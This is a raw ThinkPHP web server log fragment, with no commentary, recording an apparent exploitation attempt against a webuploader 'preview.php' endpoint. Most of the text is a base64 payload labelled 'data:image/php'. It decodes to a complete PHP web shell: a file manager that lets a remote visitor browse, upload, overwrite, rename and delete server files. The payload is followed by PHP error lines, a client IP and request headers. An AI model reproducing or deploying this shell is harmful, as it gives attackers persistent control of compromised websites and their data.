'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:08+08:00 ] 116.213.36.234 POST www.51tianwei.com/public/static/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002435s] [吞吐率:410.64req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 